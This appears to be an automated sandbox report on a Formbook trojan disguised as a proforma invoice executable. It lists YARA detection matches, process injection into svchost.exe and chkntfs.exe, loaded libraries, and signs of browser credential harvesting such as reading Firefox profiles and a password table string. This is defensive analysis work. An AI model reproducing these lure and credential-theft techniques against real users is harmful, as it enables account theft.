Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C9DEBA	3_2_03C9DEBA
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C7F21A	3_2_03C7F21A
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C8599A	3_2_03C8599A
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C85996	3_2_03C85996
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C85954	3_2_03C85954
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04482446	4_2_04482446
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04474420	4_2_04474420
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0447E4F6	4_2_0447E4F6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D0535	4_2_043D0535
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04490591	4_2_04490591
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043EC6E0	4_2_043EC6E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D0770	4_2_043D0770
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043F4750	4_2_043F4750
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043CC7C0	4_2_043CC7C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04462000	4_2_04462000
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04458158	4_2_04458158
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043C0100	4_2_043C0100
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0446A118	4_2_0446A118
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044881CC	4_2_044881CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044901AA	4_2_044901AA
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044841A2	4_2_044841A2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04470274	4_2_04470274
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044502C0	4_2_044502C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448A352	4_2_0448A352
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044903E6	4_2_044903E6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043DE3F0	4_2_043DE3F0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D0C00	4_2_043D0C00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043C0CF2	4_2_043C0CF2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04470CB5	4_2_04470CB5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043DAD00	4_2_043DAD00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0446CD1F	4_2_0446CD1F
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043E8DBF	4_2_043E8DBF
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043CADE0	4_2_043CADE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D0E59	4_2_043D0E59
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448EE26	4_2_0448EE26
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448EEDB	4_2_0448EEDB
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043E2E90	4_2_043E2E90
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448CE93	4_2_0448CE93
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04444F40	4_2_04444F40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043F0F30	4_2_043F0F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04412F28	4_2_04412F28
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04472F30	4_2_04472F30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043DCFE0	4_2_043DCFE0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0444EFA0	4_2_0444EFA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043C2FC8	4_2_043C2FC8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043DA840	4_2_043DA840
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D2840	4_2_043D2840
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043B68B8	4_2_043B68B8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043FE8F0	4_2_043FE8F0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043E6962	4_2_043E6962
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D29A0	4_2_043D29A0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0449A9A6	4_2_0449A9A6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043CEA80	4_2_043CEA80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448AB40	4_2_0448AB40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04486BD7	4_2_04486BD7
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043C1460	4_2_043C1460
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448F43F	4_2_0448F43F
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04487571	4_2_04487571
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044995C3	4_2_044995C3
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0446D5B0	4_2_0446D5B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04415630	4_2_04415630
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044816CC	4_2_044816CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448F7B0	4_2_0448F7B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0447F0CC	4_2_0447F0CC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044870E9	4_2_044870E9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448F0E0	4_2_0448F0E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D70C0	4_2_043D70C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0449B16B	4_2_0449B16B
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0440516C	4_2_0440516C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043BF172	4_2_043BF172
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043DB1B0	4_2_043DB1B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_044712ED	4_2_044712ED
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043EB2C0	4_2_043EB2C0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448132D	4_2_0448132D
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043BD34C	4_2_043BD34C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0441739A	4_2_0441739A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04449C32	4_2_04449C32
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448FCF2	4_2_0448FCF2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04481D5A	4_2_04481D5A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04487D73	4_2_04487D73
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D3D40	4_2_043D3D40
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043EFDC0	4_2_043EFDC0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D9EB0	4_2_043D9EB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448FF09	4_2_0448FF09
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D1F92	4_2_043D1F92
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04393FD2	4_2_04393FD2
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04393FD5	4_2_04393FD5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448FFB1	4_2_0448FFB1
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0443D800	4_2_0443D800
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D38E0	4_2_043D38E0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04465910	4_2_04465910
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043D9950	4_2_043D9950
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043EB950	4_2_043EB950
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448FA49	4_2_0448FA49
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04487A46	4_2_04487A46
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04443A6C	4_2_04443A6C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0447DAC6	4_2_0447DAC6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04415AA0	4_2_04415AA0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04471AA3	4_2_04471AA3
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0446DAAC	4_2_0446DAAC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0448FB76	4_2_0448FB76
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_04445BF0	4_2_04445BF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0440DBF9	4_2_0440DBF9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043EFB80	4_2_043EFB80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B1E20	4_2_001B1E20
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001ACD10	4_2_001ACD10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001ACD0A	4_2_001ACD0A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001ACF30	4_2_001ACF30
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001AAFB0	4_2_001AAFB0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001AAFAE	4_2_001AAFAE
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B54D0	4_2_001B54D0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B366A	4_2_001B366A
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B36B0	4_2_001B36B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B36AC	4_2_001B36AC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001CBBD0	4_2_001CBBD0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422E760	4_2_0422E760
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422D793	4_2_0422D793
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422D7C8	4_2_0422D7C8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422E2A8	4_2_0422E2A8
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0423532C	4_2_0423532C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422038E	4_2_0422038E
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422E3C3	4_2_0422E3C3
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422CA83	4_2_0422CA83

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03287E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03275130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0322B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032BF290 appears 105 times
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: String function: 0043F9F2 appears 40 times
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: String function: 00429CB3 appears 31 times
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: String function: 00440A30 appears 46 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 04405130 appears 58 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 0443EA12 appears 86 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 043BB970 appears 280 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 04417E54 appears 111 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 0444F290 appears 105 times

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2025967601.0000000004363000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2025743475.000000000450D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@14/8

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004937B5 GetLastError,FormatMessageW,

0_2_004937B5

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004810BF AdjustTokenPrivileges,CloseHandle,		0_2_004810BF
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004816C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_004816C3

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004951CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_004951CD

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004AA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_004AA67C

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0049648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0049648E

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004242A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_004242A2

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

File created: C:\Users\user\AppData\Local\Temp\aut246B.tmp

Jump to behavior

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chkntfs.exe, 00000004.00000002.3886521464.0000000000561000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2398062703.0000000000514000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2400061820.000000000053E000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2398169519.0000000000534000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3886521464.0000000000534000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	ReversingLabs: Detection: 34%
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Virustotal: Detection: 30%

Source: unknown	Process created: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: dnsapi.dll	Jump to behavior
